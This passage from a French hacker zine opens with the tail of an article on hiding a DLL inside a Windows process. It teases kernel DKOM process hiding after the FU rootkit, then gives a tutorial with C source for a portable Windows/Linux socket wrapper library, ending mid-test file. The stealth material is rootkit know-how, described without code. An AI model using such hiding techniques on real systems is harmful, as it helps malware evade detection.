    -0x0c) ou Kdm ,un frenchie encore ;), le faisait directement en modifiant les 3
    listes, moi j'ai voulu savoir si cela était réellement nécessaire et ça passait
    par du reversage d'API win pour finalement voir que face aux 2 API les plus
    connus pour voir les modules d'un process modif 2 listes suffisaient. Par contre
    je tiens a dire que cette méthode ne peut rien contre un scan de la mémoire la
    DLL étant forcément dans celle ci on pourra toujours la détectée.

    --------[7.Happy End

    Que je suis méchant, je viens de vous faire lire (ou pas) 30 ko sur la manière
    de cacher une DLL dans un process, ce n'est p-e pas la chose la plus
    intéressante du monde, mais ça peut toujours servir. Ce qui en revanche sert
    beaucoup plus c'est de cacher un process (vivi un process vous avez bien lu) et
    pas un pauvre code en ring3 qui hook 2 API en bois, nian je parle ici de code
    noyau qui réalise du DKOM (Direct Kernel Object Manipulation) une méthode
    implémentée par le Rootkit FU et qui permet de rendre quasi-invisible a la
    fois en UserLand et au noyau un prog mais ça, ca sera pour le prochain épisode
    mes enfants ;).

    En attendant votre avis m'intéresse beaucoup sur à la fois le zine et ce que
    j'ecris, n'hésitez pas a me contact: ivanlef0u119@yahoo.fr, comme d'hab les src
    seront sur mon site ds zines/moi.

    Maintenant vous pouvez éteindre votre téléviseur et reprendre une activité
    normale, bonsoir !

    Ivanlef0u

    EMail:ivanlef0u119@yahoo.fr
    WebSite: http://membres.lycos.fr/moi118118

    --------[ References
    phrack 62-0x0c: http://membres.lycos.fr/moi118118/zines/PHRACK.rar

    EnumProcessModules:
    http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dllproc/
    base/enumprocessmodules.asp

    CreateToolHelp32Snapshot:
    http://msdn.microsoft.com/library/default.asp?url=/library/en-
    us/dllproc/base/createtoolhelp32snapshot.asp

    DLL:
    http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dllproc/base/dl
    lmain.asp

    topic

           ..                     ,.-..                     ,..,
          |  |                  .`     `.                  |    |
          |''|                  |`'---'`|                  |`'-`|
          |<<|                  | _____ |             _,,..|[}{]|.,,,
        _,|<<|,,                | \ D / |         ,-``     |[}{]|    ``',
      .`  `..'  `.              |  |A|  |         |-,,     ``--''    _,-'|
      | `''--''` |              |  |T|  |         |   ``'''------''``    |
      |  [ O3 ]  |              |  |A|  |         |     [ Mindkind ]     |
      `.   ~~   .'              | /   \ |         `-,,    ] 1010 [   _,-'
        `''--''`      _,,,,,,...||  C  ||.....,,,,,,_ ``'''------''```
          |<<|.-''```` _,,,,,...|[  O  ]|...,,,,,,_  ```''-|[}{]|
        ,```   .,-''```         |[  R  ]|          ``''-., |[}{]|,
       |      `.        _,,,,...||  E  ||...,,,,,         '|[}{]| |
       |`-,_   `'-.,,_,`********| \   / |********`._,,.-'` |[}{]|'|
       |    `''-.,,,_ `````'''''---------'''''`````  _,,,.-|[}{]| |
       |`-,_         `````''''''---------'''''''`````      |[}{]|'|
       |    `''[                                          ]|[}{]| |
       |`-,_   [          NSocket - Socket Layer          ]|[}{]|'|
       |    `''[                                         ] |[}{]| |
        `-,_        [                              ]  _,,..|[}{]|.,,,
          |<;`'-.,,,_                             ,-``     |[}{]|    ``',
        ,`     ;     ```;;;;;;;;---------;;;;;;;;;|-,,     ``--''    _,-'|
       |`-,_   `'-.,,_,`********|[ !?! ]|********`|   ``'''------''``    |
       |`-,_`''-.,,,_ `````'''''---------'''''````|     ]   Ninja  [     |
       |`-,_`''-.,,, `````''''''---------'''''''```-,,               _,-'
        `-,_`''-.,,,[                                ]``'''------''``
          |<`|'-.,,,_[                              ]_,,,.-|[}{]|
          |<<|       `````''''''---------'''''''`````      |[}{]|
          |<<|                  |]Aka: [|                  |[}{]|
          |<<|             ___,,| _____ |....--------------|[}{]|,,,,,,,,,,__
          |<<|,,.--'''`````   __| \ D / |....--------------|[}{]|,,,,,,,,_   `````'''--..,,_
      _.-'``       ,,.--'`````  |  |A|  |                  |[}{]|         `````''-.,,       ``'-.,
     ;           -`             |  |T|  |,.....----------..|[}{]|,,,_                `'           ;
     |`'-.,,       `''-..,,,_.-`|  |A|  |******************|[}{]|****````-_,,,,,.--'`       _,,-'`|
     |      ```''--..,,,,,_   ```````''''''''--------------''''''''```````   __,,,,..--''```      |
     |                     ````````''''''''''--------------''''''''''````````                     |
     |                                                                                            |

                                                                              Ninja
                                                                         Avril 2006

    Résumé
        "Ninja Production Present" un autre texte sympa ou batard, selon le
        lecteur, pour votre bénéfice personnel ou qui sera le "petit quelque chose"
        qui vous manquait pour vous tirez devant un train. Sans plus tarder, comme
        vous l'aurez surement remarqué, je vous ai préparé une implémentation,
        TRÈS non complète, d'une couche d'abstraction pour les sockets sous windows
        ET linux, w00t.

    Tables des matières
        1. Introduction
        2. Pourquoi
        3. Portabilité
           3.1 Windows vs Linux
           3.2 IPv4 vs IPv6
        4. Comment
           4.1 Fonctions de base
           4.2 Autres fonctions
        5. Code
        6. Conclusion

    1. Introduction

        La définition simple et rapide d'un socket, selon moi no flame s.v.p., est
        la suivante: une extrémité d'une liaison bidirectionnelle entre deux
        programmes fonctionnant sur le réseau. Un socket est lié à un port de sorte
        que la couche TCP, ou n'importe quelle couche "Transport" du modèle OSI,
        puisse identifier à quelle application seront destinées les données reçues.

    2. Pourquoi

        Par lâcheté? Pour la réutilisation de code? <Entrez votre raison ici>? Les
        sockets peuvent être un vrai "pain in the ass": Vérifier si c'est bien un
        IP, version doted ou long, sinon faire la requête DNS pour obtenir le IP
        associé au nom de l'hôte; vérifier si le port est valide; initialisation
        du winsock (sous windows duh!); envoyer toutes les données d'un buffeur
        quelconque; manipuler les sockets non bloquant avec un système de polling
        [select()]; etc. Alors, pourquoi ne pas faire une fois pour toutes un
        ensemble de fonctions qui vont faciliter ces tâches en réduisant le code à
        produire lors de futures projets.

    3. Portabilité

        3.1 Windows vs Linux

            Pour ceux qui ont eu l'occasion de jouer avec les sockets sur Linux ET
            sur Windows, la manipulation des sockets est très similaire à quelques
            détails près. L'ensemble des fonctions de base comme socket(), listen(),
            recv(), send(), accept(), etc. sont présente sur les deux plateformes et
            utilise les mêmes paramètres. Mais il y à quelques petites différences du
            genre un socket sous linux est de type INT mais sous windows c'est un
            UNSIGNED INT. Sous windows on doit absolument initialisé winsock avant
            pouvoir manipuler un socket. De plus, certaines fonctions sous linux ne
            se retrouvent pas sous windows ou ne prennent simplement pas les mêmes
            arguments.

            Il est donc désagréable, pour quelqu'un qui tente de créer une
            application portable sur ces deux plateformes, d'écrire une application
            qui utilise les sockets. Il serait donc plus pratique de se créer une
            librairie de fonctions manipulant les sockets qui serait indépendante de
            la plateforme sous laquelle elle est compilée. Dans ce cours texte, nous
            allons nous concentrer uniquement sur linux et windows.

        3.2 IPv4 vs IPv6

            Malgré le fait que IPv6 ne soit pas grandement répandu, il se peut
            qu'un jour nous aurons besoin de coder une application qui utilisera
            IPv6. Comme IPv6 passe certains paramètres qui diffèrent de ce que IPv4
            utilise généralement et certaines fonctions ne sont compatibles qu'avec
            IPv4. Ces différences augmentent l'effort et le temps qu'un progammeur
            doit investir lors du développement d'une application utilisant les
            sockets. Nous allons nous concentrer seulement sur le proticol IPv4
            puisqu'il s'agit simplement d'un texte explicatif/éducatif et il sera
            plus facile de lire et comprendre le code en réduisant le nombre de
            #ifdef, #ifndef, etc.

    4. Comment

        4.1 Fonctions de base

            Il existe plusieurs fonctions pour la manipulation des sockets,
            certaines sont essentielles, d'autre moins. Certaines sont
            majoritairement utilisées comme support pour d'autres fonctions plus
            primordiales. Voici donc la liste des fonctions de base que nous allons
            tenter de porter:

            socket()  - crée un socket
            bind()    - attache un socket a une adresse et/ou un port
            connect() - ouvre une connexion sur un hôte distant
            listen()  - écoute pour des connexions entrantes
            accept()  - autorise une connexion entrante
            read()    - lire les données reçues de l'hôte
            write()   - envoie des données à l'hôte
            close()   - ferme un socket

        4.2 Autres fonctions

            Toutes autres fonctions ne seront pas portées même si certaines seront
            utilisées dans les wrapes que nous allons créer. Le but de ce texte
            n'étant pas de fournir une librairie complète, mais bien de produire
            un template sur lequel nous pourrons travailler et, idéalement,
            améliorer.

            Nous allons néanmoins créer quelques fonctions qui nous seront utiles
            pour la manipulation des sockets. Elles serviront, entre autres, à
            valider une adresse ip en format dotted (192.158.0.1), d'initialiser
            l'environnement (majoritairement sous windows), de récupérer les erreurs
            socket, etc.

    5. Code

        Nous voici donc au moment attendu, l'implémentation de notre librairie. Le
        code sera divisé par fichier. Les délimiteurs suivants marque le début et la
        fin du code d'un fichier:

        =---------------------------BEGIN file.x --------------------------------=
        =---------------------------END file.x ----------------------------------=

        C'est un départ!

        =---------------------------BEGIN nsocket.h -----------------------------=

    /*
     * fichier: nsocket.h
     * auteur : ninja
     * date   : 13 May 2006
     * desc   :
     *         Déclaration des structutures et fonctions permettant une
     *         manipulation plus facile des sockets.
     *
     */

    #ifndef NSOCKET_H_INCLUDE
    #define NSOCKET_H_INCLUDE

    #if defined (_WIN32) || defined (WIN32)
    #include <winsock2.h>
    #else
    #include <sys/types.h>
    #include <sys/socket.h>
    #define SOCKET int           /* va nous permettre d'utiliser SOCKET comme type
                                    sous linux. Sous win, SOCKET == unsigned int */
    #define INVALID_SOCKET -1
    #endif

    #define NSOCKLISTENMAX 50    /* longueur max pour la file des connexionsen
                                    attente*/

    #define NSOCK_TCP        0x001 /* socket de type TCP. Defaut */
    #define NSOCK_UDP        0x002 /* socket de type UDP. Defaut à TCP           */
    #define NSOCK_NONBLOCK   0x004 /* socket non-bloquant. Defaut à bloquant     */
    #define NSOCK_BIND       0x008 /* binder le socket. Defaut pas de bind()     */
    #define NSOCK_CLIENT     0x010 /* Defaut                                     */
    #define NSOCK_SERVER     0x020 /* socket en mode écoute                      */
    #define NSOCK_CONNECTING 0x040 /* socket essaie de se connecter à un hôte    */
    #define NSOCK_CLOSED     0x100 /* socket fermé                               */
    #define NSOCK_DEFAULT    0x011 /* NSOCK_TCP & NSOCK_CLIENT                   */

    /* Permet de contrôler si nsocket doit afficher les erreur lui-même ou non */
    extern int NSOCKET_DO_VERBOSE;

    typedef struct nsocket_options_s  nsocket_options_t, *pnsocket_options_t;
    typedef struct nsocket_s nsocket_t, *pnsocket_t;

    /* cette structure contiens toutes les infos de base niveau pour la manipulation
       des socekts */
    struct nsocket_options_s {
        SOCKET sockfd; /* socket file descriptor             */
        int pf;        /* protocol family - defaut: PF_INET  */
        int type;      /* socket type - defaut: SOCK_STREAM  */
        int protocol;  /* defaut: (IPPROTO_TCP)              */
        int af;        /* address family - defaut: AF_INET   */
        struct sockaddr my_addr;
        struct sockaddr peer_addr;
        int flags;     /* holds NSOCK_ flags                 */
    };

    /* contien les infos de haut niveau comme les ips en version dotted et les
       ports en Host Bits Order */
    struct nsocket_s {
        char* peer_ip;          /* remote ip   */
        unsigned int peer_port; /* remote port */
        char* my_ip;            /* my ip       */
        unsigned int my_port;   /* my port     */
        struct nsocket_options_s opts;
    };

    /* fonctions pour la manipulation des sockets.
       voir nsocket.c pour plus de détails sur leurs fonctionnalités */
    int nsocket_init();
    int nsocket_shutdown();
    int nsocket_isvalideip(const char *ip);
    int nsocket_get_error(pnsocket_t s);
    int nsocket_set_nonblock(pnsocket_t s, unsigned long value);
    pnsocket_t nsocket_create(int flags);
    int nsocket_bind(pnsocket_t s, const char *my_ip, int my_port);
    int nsocket_connect(pnsocket_t s, const char *peer_ip, int peer_port);
    int nsocket_listen(pnsocket_t s);
    pnsocket_t nsocket_accept(pnsocket_t s);
    int nsocket_read(pnsocket_t s, char* data, int size);
    int nsocket_write(pnsocket_t s, const char* data, int size);
    int nsocket_close(pnsocket_t s);
    int nsocket_free(pnsocket_t s);
    int nsocket_opts_init(pnsocket_options_t opts);
    int nsocket_opts_free(pnsocket_options_t opts);
    void nsocket_perror(pnsocket_t s, const char *fname, const char *cname);

    #endif /* not define NSOCKET_H_INCLUDE */

        =---------------------------END nsocket.h -------------------------------=

        =---------------------------BEGIN nsocket.c -----------------------------=

    /*
     * fichier: nsocket.c
     * auteur : ninja
     * date   : 13 May 2006
     * desc   :
     *         Implémentation des fonctions permettant une manipulation plus facile
     *         des sockets.
     *
     */

    #if defined (_WIN32) || defined (WIN32)
    #include <winsock2.h>
    #else
    #include <errno.h>
    #include <unistd.h>
    #include <fcntl.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #define _GNU_SOURCE    /* needed if we want to use strdup */
    #endif
    #include <string.h>    /* malloc(), free()[WIN32], _strdup()[WIN32] */
    #include <stdlib.h>    /* free() */
    #include <stdio.h>     /* printf(), stdout */
    #include "nsocket.h"

    #if defined (_WIN32) || defined (WIN32)
    #define strdup _strdup
    static WSADATA wsaData;  /* si ça ne fonctionne pas */
    /*static WSAData wsaData; /* alors essayez ceci */
    #endif

    /* Permet de contrôler si nsocket doit afficher les erreurs lui-même ou non.
       Par défaut, nsocket affiche un message d'erreur */
    int NSOCKET_DO_VERBOSE = 1;

    /* nsocket_init()
     *  0: w00t
     * -1: operation fail
     *
     * Sous windows nous devons absolument initialiser l'environnement Winsock
     * sinon tout appel aux fonctions de manipulation de socket va échouer.
     */
    int nsocket_init() {
    #if defined (_WIN32) || defined (WIN32)
        WORD wVersionRequested;  // version winsock demandé

        wVersionRequested = MAKEWORD(2, 2);
        if(WSAStartup(wVersionRequested, &wsaData) != 0)
            return -1; /* aucune DLL winsock valide n'a été trouvé */

        /* Vérifier si la DLL winsock support bien la version 2.2.                */
        /* Notez que même si la DLL support une version suppérieur à 2.2, tout en */
        /* supportant la 2.2, la valeur retourner dans wVersion sera 2.2 puisque  */
        /* c'est ce que nous avons demandé.                                       */
        if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion ) != 2 ) {
            WSACleanup();
            return -1; /* aucune DLL winsock valide n'a été trouvé */
        }
    #endif
        return 0;
    }

    /* nsocket_shutdown()
     * 0       : w00t
     * non zero: operation fail
     *
     * Comme nous devons initialiser l'environnement Winsock avant l'utilisation
     * de socket, nous devons aussi libérer/nettoyer l'environnement après
     * utilisation.
     */
    int nsocket_shutdown() {
    #if defined (_WIN32) || defined (WIN32)
        // on nettoie l'environnement winsock
        return WSACleanup();
    #else
        return 0;
    #endif
    }

    /* nsocket_isvalideip()
     * -1: invalide dotted address
     *  0: valide dotted address
     *
     * Valide si l'ip passé en paramètre est bien un ip en format dotted
     * ex.: 127.0.0.1
     */
    int nsocket_isvalideip(const char* ip)
    {
    #if defined (_WIN32) || defined (WIN32)
        struct sockaddr addr;
        int size;

        /* initialise la mémoire a zéro */
        memset(&addr,0,sizeof(addr));
        addr.sa_family = AF_INET; /* si on ne spécifie pas, WSAStringToAddress
                                     échoue avec WSAEINVAL (10022) */
        size = sizeof(addr);
        if (WSAStringToAddress((LPTSTR)ip,AF_INET,NULL,&addr,&size) == 0)
            return 0;
    #else
        struct in_addr  iaddr4;

        /* nous utilisons inet_pton même si il ne s'agit pas d'un IPv4 puisque
           cette fonction supporte IPv6 et IPv4. De plus elle est fortement
           recommandée au lieu de inet_aton */
        if (inet_pton(AF_INET,ip,&iaddr4) > 0)
            return 0;
    #endif
        /* ip invalide */
        return -1;
    }

    /* nsocket_get_error()
     * retourne le code d'erreur du socket
     */
    int nsocket_get_error(pnsocket_t s)
    {
        int size, err;

        if(s == NULL)
            return 0;

        size = sizeof(int);
        err = 0;
        getsockopt(s->opts.sockfd, SOL_SOCKET, SO_ERROR, (char*)&err, &size);
        return(err);
    }

    /* nsocket_set_nonblock()
     * 0       : w00t
     * non zero: operation fail
     *
     * Nous permet de mettre, ou non, le socket en mode non bloquant
     */
    int nsocket_set_nonblock(pnsocket_t s, unsigned long value)
    {
        if(s == NULL)
            return 0;
    #if defined (_WIN32) || defined (WIN32)
        return ioctlsocket(s->opts.sockfd, FIONBIO, &value);
    #else
        int oldflags = fcntl(s->opts.sockfd, F_GETFL, 0);
        if (oldflags == -1) return -1;
        if (value != 0) oldflags |= O_NONBLOCK;
        else oldflags &= ~O_NONBLOCK;
        return fcntl(s->opts.sockfd, F_SETFL, oldflags);
    #endif
    }

    /* nsocket_create
     * pnsocket: pointer sur le nouveau socket
     * NULL: Erreur
     */
    pnsocket_t nsocket_create(int flags) {
        pnsocket_t s;
        int i;

        /* Sanitarisation (w00t nouveau terme) des flags ...*/
        if(flags & NSOCK_UDP && flags & NSOCK_TCP) flags &= ~NSOCK_UDP;
        if(flags & NSOCK_SERVER && flags & NSOCK_CLIENT) flags &= ~NSOCK_SERVER;
        flags &= ~NSOCK_CONNECTING;
        flags |= NSOCK_CLOSED;

        /* alloue la mémoire pour le nouveau socket */
        s = (pnsocket_t)malloc(sizeof(nsocket_t));

        /* Initialisation des données membres... */
        s->peer_ip = NULL;
        s->peer_port = 0;
        s->my_ip = NULL;
        s->my_port = 0;

        /* Initialisation des options... */
        nsocket_opts_init(&s->opts);

        /* Copie des flags demandé... */
        s->opts.flags = flags;

        /* Est-ce que le socket doit être UDP ou TCP */
        if(flags & NSOCK_UDP) {
            s->opts.type = SOCK_DGRAM;
            s->opts.protocol = IPPROTO_UDP;
        }
        else {
            s->opts.type = SOCK_STREAM;
            s->opts.protocol = IPPROTO_TCP;
        }

        /* Création du socket */
        if ((s->opts.sockfd = socket(s->opts.af, s->opts.type,
                                            s->opts.protocol)) == INVALID_SOCKET) {
            nsocket_perror(s, "nsocket_create()", "socket");
            return NULL;
        }

        /* Est-ce que nous voulons un socket non bloquant? */
        if (flags & NSOCK_NONBLOCK)
            i=1;
        else
            i=0;
        if(nsocket_set_nonblock(s, i) !=0) {
            nsocket_perror(s, "nsocket_create()", "nsocket_set_nonblock");
            return NULL;
        }

        return(s);
    }

    /* nsocket_bind
     * -1 : une erreur c'est produite
     *  0 : nsocket invalide ou le bit NSOCK_BIND n'est pas présent
     *  1 : w00t
     */
    int nsocket_bind(pnsocket_t s, const char *my_ip, int my_port) {
    #if defined (_WIN32) || defined (WIN32)
        struct sockaddr addr;
        int addr_len;
    #else
        struct in_addr  addr4;
    #endif
        int yes;

        if(s == NULL)
            return 0;

        if (!(s->opts.flags & NSOCK_BIND || s->opts.flags & NSOCK_SERVER))
            return 0;

           /* Vérifie si le ip est valide */
        if(nsocket_isvalideip(my_ip) != 0) {
            nsocket_perror(s, "nsocket_bind()", "nsocket_isvalideip");
            return -1;
        }

        /* Vérifie si le port de l'hôte est valide */
        if (my_port < 0 || my_port > 65535) {
            nsocket_perror(s,"nsocket_bind()", "port invalide");
            return -1;
        }

        /* Libère l'espace mémoire si déjà alloué... */
        if(s->my_ip) free(s->my_ip);

        /* Archivage du ip et du port... */
        s->my_ip = strdup(my_ip);
        s->my_port = my_port;

        /* On veut utiliser le port même si il est pris par une autre application.
           Surtout utile pour un socket en mode listen */
        yes=1;
        setsockopt(s->opts.sockfd,SOL_SOCKET,SO_REUSEADDR,
                                                       (char*)&yes,sizeof(int));
        /* !!! ATTENTION !!!
           Le code qui suit est EXTRÊMEMENT laid, et est juste un big hack pour
           contourner certains problèmes d'assignation et de typecasting.

           Vous avez été prévenu...

           <hack type="laid" size="gros">
         */
        ((struct sockaddr_in*)&s->opts.my_addr)->sin_family = AF_INET;
        ((struct sockaddr_in*)&s->opts.my_addr)->sin_port =
                                                          htons((u_short)my_port);
    #if defined (_WIN32) || defined (WIN32)
        memset(&addr,0,sizeof(addr));
        ((struct sockaddr_in*)&addr)->sin_family = AF_INET;
        addr_len = sizeof(addr);
        if (WSAStringToAddress(s->my_ip,s->opts.af,NULL,&addr,&addr_len) != 0)
            return -1; /* ne devrait jamais se produire */
        ((struct sockaddr_in*)&s->opts.my_addr)->sin_addr =
                                        ((struct sockaddr_in*)&addr)->sin_addr;
    #else
        if (inet_pton(AF_INET,s->my_ip,&addr4) <= 0)
            return -1; /* ne devrait jamais se produire */
        ((struct sockaddr_in*)&s->opts.my_addr)->sin_addr = addr4;
    #endif
        /* </hack> */

        if (bind(s->opts.sockfd, &s->opts.my_addr,
                                               sizeof(s->opts.my_addr)) == -1) {
            nsocket_perror(s, "nsocket_bind()", "bind");
            return -1;
        }

        return 1;
    }

    /* nsocket_connect
     * -1: une erreur est survenue lors de la tentative/processus de connexion
     *  0: erreur, nsocket invalide ou nsocket en mode SERVER (listen)
     *  1: w00t
     */
    int nsocket_connect(pnsocket_t s, const char *peer_ip, int peer_port) {
    #if defined (_WIN32) || defined (WIN32)
        struct sockaddr addr;
        int addr_len;
    #else
        struct in_addr  addr4;
    #endif

        if(s == NULL)
            return 0;

        if (!(s->opts.flags & NSOCK_CLIENT))
            return 0;

        /* Vérifie si le ip de l'hôte est valide */
        if(nsocket_isvalideip(peer_ip) != 0) {
            nsocket_perror(s, "nsocket_connect()", "nsocket_isvalideip");
            return -1;
        }

        /* Vérifie si le port de l'hôte est valide */
        if (peer_port < 0 || peer_port > 65535) {
            nsocket_perror(s,"nsocket_connect()", "port invalide");
            return -1;
        }

        /* Libère l'espace mémoire si déjà alloué... */
        if(s->peer_ip) free(s->peer_ip);

        /* Archivage du ip et du port... */
        s->peer_ip = strdup(peer_ip);
        s->peer_port = peer_port;

        /* !!! ATTENTION !!!
           Le code qui suit est EXTRÊMEMENT laid, et est juste un big hack pour
           contourner certains problèmes d'assignation et de typecasting.

           Vous avez été prévenu...

           <hack type="laid" size="gros">
         */
        ((struct sockaddr_in*)&s->opts.peer_addr)->sin_family = AF_INET;
        ((struct sockaddr_in*)&s->opts.peer_addr)->sin_port =
                                                        htons((u_short)peer_port);
    #if defined (_WIN32) || defined (WIN32)
        memset(&addr,0,sizeof(addr));
        ((struct sockaddr_in*)&addr)->sin_family = AF_INET;
        addr_len = sizeof(addr);
        if (WSAStringToAddress(s->peer_ip,s->opts.af,NULL,&addr,&addr_len) != 0)
            return -1; /* ne devrait jamais se produire */
        ((struct sockaddr_in*)&s->opts.peer_addr)->sin_addr =
                                        ((struct sockaddr_in*)&addr)->sin_addr;
    #else
        if (inet_pton(AF_INET,s->peer_ip,&addr4) <= 0)
            return -1; /* ne devrait jamais se produire */
        ((struct sockaddr_in*)&s->opts.peer_addr)->sin_addr = addr4;
    #endif
        /* </hack> */

        s->opts.flags |= NSOCK_CONNECTING; /* connexion en cours */

        if (connect(s->opts.sockfd, &s->opts.peer_addr,
                                    sizeof(s->opts.peer_addr)) == -1) {
            /* On ne peut attendre que connect() retourne une error si nous
               avons configurer le socket en mode non bloquant puisque connect()
               va toujours retourner une erreur: EINPROGRESS (linux)
               ou WSAEWOULBLOCK (win32) */
            if (s->opts.flags & NSOCK_NONBLOCK &&
    #if defined (_WIN32) || defined (WIN32)
                WSAGetLastError() == WSAEWOULDBLOCK
    #else
                errno == EINPROGRESS
    #endif
               )
            {
                s->opts.flags &= ~NSOCK_CLOSED;    /* pas vraiment l'endroit idéal
                                                      pour le faire mais ça doit
                                                      être fait */

                return 1;
            }
            nsocket_perror(s, "nsocket_connect()", "connect");
            return -1;
        }

        /* si nous somme ici, c'est que le socket en en mode bloquant donc
           connect() à réussie */
        s->opts.flags &= ~NSOCK_CONNECTING;
        s->opts.flags &= ~NSOCK_CLOSED;

        return 1;
    }

    /* nsocket_listen()
     * -1 : une erreur c'est produite
     *  0 : nsocket invalide où le bit NSOCK_SERVER n'est pas présent
     *  1 : w00t
     */
    int nsocket_listen(pnsocket_t s) {
        if(s == NULL)
            return 0;

        if (!(s->opts.flags & NSOCK_SERVER))
            return 0;

        if (listen(s->opts.sockfd, NSOCKLISTENMAX) == -1) {
            nsocket_perror(s, "nsocket_listen()", "listen");
            return -1;
        }

        s->opts.flags &= ~NSOCK_CLOSED; /* l'appel à listen() a réussie,
                                           donc le socket n'est plus dans
                                           l'état 'fermé' */

        return 1;
    }

    /* nsocket_accept
     * pnsocket: pointer sur le nouveau socket
     * NULL: Erreur
     */
    pnsocket_t nsocket_accept(pnsocket_t s) {
        pnsocket_t new_sock;
        int sin_size, flags;

        if(s == NULL)
            return NULL;

        flags = NSOCK_DEFAULT;

        if (s->opts.flags & NSOCK_UDP)
            return NULL; /* accept ne peut être appelé sur des socket UPD */

        if (s->opts.flags & NSOCK_NONBLOCK)
            flags |= NSOCK_NONBLOCK;

        if((new_sock = nsocket_create(flags)) == NULL)
            return NULL;

        sin_size = sizeof(struct sockaddr);
        if ((new_sock->opts.sockfd = accept(s->opts.sockfd,
                                &new_sock->opts.peer_addr, &sin_size)) == -1) {
            nsocket_perror(s,"nsocket_accept()","accept");
            return NULL;
        }

        new_sock->opts.flags &= ~NSOCK_CLOSED; /* l'appel à accept() a réussie,
                                                  donc le socket n'est plus dans
                                                  l'état 'fermé' */

        return new_sock;
    }

    /* nsocket_read
     * -1: une erreur c'est produite
     *  0: connexion fermé par l'hôte
     * >0: nombre d'octects reçus
     */
    int nsocket_read(pnsocket_t s, char* data, int size) {
        int nbytes;

        if(s == NULL)
            return -1;

        if (!data || size <= 0) /* si mémoire non allouée ou taille invalide */
            return 0;

        if ((nbytes=recv(s->opts.sockfd, data, size, 0)) == -1) {
            /* si notre socket est en mode non bloquant qu'il n'y a aucune données
               dans la file d'attente du socket, recv retourne WSEWOULDBLOCK (win)
               ou EAGAIN (linux) */
            if ((s->opts.flags & NSOCK_NONBLOCK) &&
    #if defined (_WIN32) || defined (WIN32)
                WSAGetLastError() == WSAEWOULDBLOCK
    #else
                errno ==  EAGAIN
    #endif
                )
                return -1; /* on retourne -1 mai ce n'est pas une erreur critique
                              il faut donc vérifier WSAGetLastError ou errno pour
                              s'assurer qu'il s'agit bien de WSAEWOULDBLOCK ou
                              EAGAIN

                              Je sais ce n'est pas très pratique, parce que VOUS
                              devez faire la vérification, mais je vais penser à
                              quelque chose pour arranger ça plus tard */
            nsocket_perror(s, "nsocket_read()", "recv");
    #if defined (_WIN32) || defined (WIN32)
            if (WSAGetLastError() == WSAECONNRESET) /* connection reset

                                                       Je n'ai pas chercher pour
                                                       l'équivalent linux encore */
                nsocket_close(s);
    #endif
            return(-1);
        }

        if (nbytes == 0) { /* connection closed by peer */
            nsocket_perror(s, "nsocket_read()", "recv [conn. closed]");
            nsocket_close(s);
            return(0);
        }

        return(nbytes);
    }

    /* nsocket_write
     * -1: une erreur c'est produite
     *  n: nombre d'otects envoyés
     */
    int nsocket_write(pnsocket_t s, const char* data, int size) {
        int n;

        if(s == NULL)
            return -1;

        if (!data || size <= 0) /* si aucune donnée ou taille invalide */
            return 0;

        if((n = send(s->opts.sockfd, data, size, 0)) == -1) {
            nsocket_perror(s, "sock_got_write()", "send");
            return(-1);
        }

        return(n);
    }

    /* nsocket_close()
     * -1: une erreur s’est produite
     *  0: w00t
     */
    int nsocket_close(pnsocket_t s) {
        if(s == NULL)
            return 0;

        if(s->opts.sockfd == INVALID_SOCKET)
            return 0;

        if(s->opts.flags & NSOCK_CLOSED)
            return 0;

    #if defined (_WIN32) || defined (WIN32)
        if (shutdown(s->opts.sockfd, SD_BOTH) == -1) {
    #else
        if (shutdown(s->opts.sockfd, SHUT_RDWR) == -1) {
    #endif
            nsocket_perror(s, "nsocket_close()", "shutdown");
            return(-1);
        }

    #if defined (_WIN32) || defined (WIN32)
        if (closesocket(s->opts.sockfd) == -1) {
    #else
        if (close(s->opts.sockfd) == -1) {
    #endif
            nsocket_perror(s, "nsocket_close()", "close");
            return(-1);
        }

        nsocket_opts_free(&s->opts);

        return(0);
    }

    /* nsocket_free
     * -1: pointer invalide
     *  0: w00t
     *
     * Libère un socket créer via nsocket_create ou nsocket_accept
     */
    int nsocket_free(pnsocket_t s) {
        if(!s)
            return(-1);

        if(s->peer_ip) free(s->peer_ip);
        s->peer_ip = NULL;
        s->peer_port = 0;
        if(s->my_ip) free(s->my_ip);
        s->my_ip = NULL;
        s->my_port = 0;

        free(s);
        s = NULL;

        return(0);
    }

    /* nsocket_opts_init
     * -1: nsocket_options_t invalide
     *  0: w00t
     */
    int nsocket_opts_init(pnsocket_options_t opts) {
        if (!opts)
            return -1;

        opts->sockfd = INVALID_SOCKET;
        opts->pf = PF_INET;
        opts->type = SOCK_STREAM;
        opts->protocol = IPPROTO_TCP;
        opts->af = AF_INET;
        memset(&(opts->my_addr), '\0', sizeof(opts->my_addr));
        memset(&(opts->peer_addr), '\0', sizeof(opts->peer_addr));
        opts->flags = NSOCK_CLOSED;

        return 0;
    }

    /* nsocket_opts_free
     * -1: nsocket_options_t invalide
     *  0: w00t
     */
    int nsocket_opts_free(pnsocket_options_t opts) {
        if (!opts)
            return -1;

        memset(opts, '\0', sizeof(nsocket_options_t));

        return 0;
    }

    /* nsocket_perror()
     * print errno, socket error code and on win32 platform, WSAGetLastError()
     */
    void nsocket_perror(pnsocket_t s, const char *fname, const char *cname) {
        if(s == NULL)
            return;

        if (NSOCKET_DO_VERBOSE)
    #if defined (_WIN32) || defined (WIN32)
            printf("\n\t[E] %s: %s - errno: %d SO_ERROR: %d WSAGetLastError: %d\n",
                         fname,cname,errno,nsocket_get_error(s),WSAGetLastError());
    #else
            printf("\n\t[E] %s: %s - errno: %d SO_ERROR: %d\n",fname,cname,errno,
                                                             nsocket_get_error(s));
    #endif
    }

        =---------------------------END nsocket.c -------------------------------=

        =---------------------------BEGIN test.c --------------------------------=

    #include <stdio.h>
    #include <string.h>
    #include "nsocket.h"

    int main(void) {
        pnsocket_t s;
        char buf[1024];
        int nbytes;

        /* initialisation */
        if(nsocket_init() ==-1)
            return(-1);

        /* création du socket */
        if ((s = nsocket_create(NSOCK_DEFAULT)) == NULL)
            return(-1);

        /* on lance le connect */
        if (nsocket_connect(s,"72.14.203.104",80) == -1) {
            nsocket_perror(s,"main()","nsocket_connect()");
            nsocket_close(s);
            nsocket_free(s);
            return(-1);
        }

        strcpy(buf, "GET / HTTP/1.0\n\n");
        if (nsocket_write(s,buf,strlen(buf)) == -1) {
            nsocket_close(s);
            nsocket_free(s);
            return(-1);
        }

